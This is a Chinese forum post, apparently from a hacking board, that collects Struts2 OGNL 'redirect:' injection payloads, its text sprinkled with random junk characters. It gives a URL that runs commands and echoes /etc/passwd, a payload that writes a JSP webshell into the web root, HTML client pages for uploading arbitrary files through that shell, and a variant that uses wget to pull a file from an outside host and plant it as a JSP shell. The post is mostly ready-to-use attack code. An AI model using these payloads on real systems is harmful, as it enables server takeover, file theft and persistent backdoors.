大家都发了,,我就整理了一下。友情提示,自己小命比shell重要哦。。
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2 [3 E; H- J0 \6 L2 _) J喜欢就点一下感谢吧^_^
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带回显命令执行:
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http://www.example.com/struts2-blank/example/X.action?redirect:${%23a%3d(new java.lang.ProcessBuilder(new java.lang.String[]{'cat','/etc/passwd'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew java.io.InputStreamReader(%23b),%23d%3dnew java.io.BufferedReader(%23c),%23e%3dnew char[50000],%23d.read(%23e),%23matt%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}
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http://www.example.com/struts2-b ... 8%29.close%28%29%7D) e: G- _* |. Z. [7 Q
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写文件:
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2 K3 t% z, v) A- K: a/ Jhttp://www.example.com/struts2-blank/example/X.action?redirect:${. k/ J- B c' N4 G
8 a& p# G& J1 V1 }9 ]1 H9 W%23req%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest'),
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2 I1 W( y4 ?1 D( J, D0 t, ]%23p%3d(%23req.getRealPath(%22/%22)%2b%22css3.jsp%22).replaceAll("\\\\", "/"),
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new+java.io.BufferedWriter(new+java.io.FileWriter(%23p)).append(%23req.getParameter(%22c%22)).close()
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}&c=%3c%25if(request.getParameter(%22f%22)!%3dnull)(new+java.io.FileOutputStream(application.getRealPath(%22%2f%22)%2brequest.getParameter(%22f%22))).write(request.getParameter(%22t%22).getBytes())%3b%25%3e
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( X% c, G- R d% `6 y# B% A写入的文件内容:
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2 M j. e; T2 R) \: g2 t% F+ W<%if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("/")+request.getParameter("f"))).write(request.getParameter("t").getBytes());%> ' o5 d* y9 s- q8 {0 |! m" F5 p
$ R7 }! x+ M [3 l其实就是一个jsp的小马,需要客户端配合 9 d0 T+ w! S$ `
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函数f是文件名,t是内容
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, v/ ~6 H0 b6 [( P: }$ b Z客户端:
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( }: q8 m. B/ u1 m+ {<form action="http://www.example.com/struts2-blank/example/css3.jsp?f=fjp.jsp" method="post">
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7 Z' F6 D( B4 n<textarea name=t cols=120 rows=10 width=45>your code</textarea>
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* n: F2 b. }6 m7 z<center>
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<input type=submit value="提交">
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</form>
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就在当前目录建立一个fjp.jsp
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: Y" U( _4 U0 b+ Qshell:http://www.example.com/struts2-blank/example/fjp.jsp
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还有@园长的一个客户端:* L1 \( W( t8 y2 J/ q( B: o
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( D3 F0 ?0 c" |<head>
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0 m7 d' v) Y$ o# h<meta http-equiv="content-type" content="text/html;charset=utf-8">
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9 c* k9 b) w4 R, Z1 ]* {8 C( h3 P' \<title>jsp-园长</title>. ^* p& ]" _ ?( E8 V3 s) ~1 H9 L
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<style>
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.main{width:980px;height:600px;margin:0 auto;}
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2 i1 ^: \ v7 }' \.url{width:300px;}7 z5 z) H; b# b4 M& t% o
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.fn{width:60px;}
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.content{width:80%;height:60%;}
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function upload(){. b1 C" q8 Y. z, l! w
$ b3 {, R& H: s8 Q0 Y var url = document.getElementById('url').value,
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; W8 k' {6 Y: m0 _! ]- e content = document.getElementById('content').value,# R# T: T% ^, [; Q' Z% G# q+ @1 q& b
' _. r8 C# Z: | fileName = document.getElementById('fn').value,; T4 z3 X2 Z' q
8 ?% C7 ~) [+ e, J8 b+ S: ` form = document.getElementById('fm');+ @# G# _5 E! x2 {# _: j' g) \
& B: t: z, F5 Z3 ~! W! w if(url.length == 0){; N% V2 U, T; e
3 e4 P6 s' b u& } alert("Url not allowd empty!");
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; c) h$ q7 O& K" }5 O7 o3 _ if(content.length == 0){( N1 I$ x P h9 K
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alert("Content not allowd empty!");3 C4 f C e0 I) A2 T, K& W
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return ;$ a2 k% b3 Z9 v! Z' n2 Z/ m; k
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}
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0 ~( K/ l M! a. j* t8 ~ if(fileName.length == 0){! x/ |' @- |9 Y$ C5 Y
0 e, G, a/ Y' R/ p, h" y- h alert("FileName not allowd empty!");* S, F9 b" v$ N# ~& j5 b/ ]1 h$ S
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return ;
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}
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9 {: Q! e$ t9 H3 ? form.action = url;
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$ B5 K' L) H8 x+ B. f</script>
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% x' d0 G4 `& h' h2 ]- c<body>0 T6 w7 c& ?' O. Z ^3 Y" E2 G
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<div class="main">6 k5 C. ^8 W, O, h" l2 g7 d
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<form id="fm" method="post"> K8 x) f% G* d% m5 m4 B* ^9 v
& k- N; l1 H) u! q0 K8 x URL:<input type="text" value="http://localhost/Struts2/css3.jsp" class="url" id="url"/>
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FileName:<input type="text" name="f" value="css.jsp" class="fn" id="fn" /> ' y3 N& G3 D3 g
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<a href="javascript:upload();">Upload</a>
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! d+ e% L% f7 [, [* {, w2 e <textarea id="content" class="content" name="t" ></textarea>
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</form>
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</div>
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</body>
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</html>
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4 l, K3 t4 \# h+ G: v1 y& L8 d0 @还有@X发的一个wget的getshell* ?# o, U& L0 V. L
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?redirect {%23a%3d(new java.lang.ProcessBuilder(new java.lang.String[]{'wget','http://www.url.com/xx.txt','- O','/root/1.jsp'}
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)).start(),%23b%3d%23a.getInputStream(),%23c%3dnew java.io.InputStreamReader(%23b), %23d%3dnew java.io.BufferedReader(%23c),%23e%3dnew char[50000],%23d.read(%23e), %23piaoye%3d%23context.get ('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23piaoye.getWriter().println (%23e),%23piaoye.getWriter().flush(),%23piaoye.getWriter().close()}$ G7 w: W! ?3 _
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